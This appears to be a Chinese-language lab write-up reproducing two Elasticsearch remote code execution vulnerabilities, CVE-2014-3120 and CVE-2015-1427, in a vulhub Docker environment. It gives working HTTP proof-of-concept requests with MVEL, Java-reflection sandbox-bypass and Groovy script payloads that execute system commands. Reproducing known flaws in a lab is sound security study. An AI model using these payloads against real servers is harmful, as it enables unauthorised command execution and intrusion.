CVE-2014-3120漏洞信息

NVD - CVE-2014-3120

The default configuration in Elasticsearch before 1.2 enables dynamic scripting, which allows remote attackers to execute arbitrary MVEL expressions and Java code via the source parameter to _search. NOTE: this only violates the vendor’s intended security policy if the user does not run Elasticsearch in its own independent virtual machine.

老版本的Elasticsearch允许通过JSON请求传入动态脚本，攻击者可以构造包含MVEL代码的查询，从而在服务器上执行任意命令。

CVE-2015-1427漏洞信息

NVD - cve-2015-1427

The Groovy scripting engine in Elasticsearch before 1.3.8 and 1.4.x before 1.4.3 allows remote attackers to bypass the sandbox protection mechanism and execute arbitrary shell commands via a crafted script.

CVE-2014-3120后，ElasticSearch默认的动态脚本语言换成了Groovy，并增加了沙盒，但默认仍然支持直接执行动态语言。本漏洞本质是一个沙盒绕过，共有两个思路：

• Java 反射：攻击者可以利用Java的反射机制绕过沙盒限制。
• Groovy 执行：Groovy本身的特性允许攻击者直接执行命令，无需使用Java。

背景介绍

Elasticsearch is an open source distributed, RESTful search and analytics engine, scalable data store, and vector database capable of addressing a growing number of use cases. As the heart of the Elastic Stack, it centrally stores your data for lightning-fast search, fine‑tuned relevancy, and powerful analytics that scale with ease.

环境搭建

docker-compose.yaml：

version: '2'
services:
 es:
   image: vulhub/elasticsearch:1.1.1
   ports:
    - "9200:9200"
    - "9300:9300"

使用Docker Compose构建和启动环境：

$ docker-compose up -d

Debug：

ERROR: for es  'ContainerConfig'
Traceback (most recent call last):
  File "bin/docker-compose", line 3, in <module>
  File "compose/cli/main.py", line 67, in main
  File "compose/cli/main.py", line 126, in perform_command
  File "compose/cli/main.py", line 1070, in up
  File "compose/cli/main.py", line 1066, in up
  File "compose/project.py", line 648, in up
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/project.py", line 634, in do
  File "compose/service.py", line 579, in execute_convergence_plan
  File "compose/service.py", line 501, in _execute_convergence_recreate
  File "compose/parallel.py", line 108, in parallel_execute
  File "compose/parallel.py", line 206, in producer
  File "compose/service.py", line 494, in recreate
  File "compose/service.py", line 613, in recreate_container
  File "compose/service.py", line 332, in create_container
  File "compose/service.py", line 917, in _get_container_create_options
  File "compose/service.py", line 957, in _build_container_volume_options
  File "compose/service.py", line 1532, in merge_volume_bindings
  File "compose/service.py", line 1562, in get_container_data_volumes
KeyError: 'ContainerConfig'
[5518] Failed to execute script docker-compose

# down --volumes 会停止并删除所有容器和关联的卷
# --remove-orphans 会清除任何不再在 docker-compose.yml 文件中定义的孤立容器
$ docker-compose down --volumes --remove-orphans
$ docker-compose up -d --build

CVE-2014-3120漏洞复现

参考：https:///vulhub/vulhub/tree/master/elasticsearch/CVE-2014-3120

MVEL是一种用于Java的表达式语言，允许开发者在运行时动态构造和执行代码。由于Elasticsearch在处理查询时允许使用MVEL，攻击者可以通过构造特定的查询来执行Java代码。以下是用于执行系统命令的MVEL代码示例，该代码通过Runtime.getRuntime().exec("id")执行id命令，并返回结果：

import java.io.*;
new java.util.Scanner(Runtime.getRuntime().exec("id").getInputStream()).useDelimiter("\\\\A").next();

在Elasticsearch中，查询和脚本通常以JSON格式发送。这使得攻击者能够将恶意Java代码嵌入到JSON请求中：

{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
  }

该漏洞需要Elasticsearch中至少存在一条数据，以便后续执行脚本，在Elasticsearch中创建一条数据：

发送包含MVEL脚本的查询请求，执行任意代码：

POC_1：

POST /website/blog/ HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
  "name": "phithon"
}

POC_2：

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 356
{
    "size": 1,
    "query": {
      "filtered": {
        "query": {
          "match_all": {
          }
        }
      }
    },
    "script_fields": {
        "command": {
            "script": "import java.io.*;new java.util.Scanner(Runtime.getRuntime().exec(\"id\").getInputStream()).useDelimiter(\"\\\\A\").next();"
        }
    }
}

CVE-2015-1427漏洞复现

参考：https:///vulhub/vulhub/tree/master/elasticsearch/CVE-2015-1427

和CVE-2014-3120一样，由于查询时至少要求ElasticSearch中有至少一条数据，所以发送如下数据包，增加一个数据：

Java沙盒绕过法

第一种思路是利用Java反射机制，Payload如下：

java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()

• java.lang.Math.class.forName("java.lang.Runtime")：通过反射获取 Runtime 类
• getRuntime().exec("id")：执行系统命令 id
• getText()：获取命令执行的结果

构造POST请求，注意双引号要进行转义或者换成单引号，否则Expression Injection出错：

POC：

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 155
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}

Goovy直接执行命令法

第二种思路是直接Groovy执行，Payload如下：

def command='id';def res=command.execute().text;res

同理构造POST请求：

POC：

POST /_search?pretty HTTP/1.1
Host: 127.0.0.1:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 119
{"size":1, "script_fields": {"test":{"lang":"groovy","script": "def command='id';def res=command.execute().text;res"}}}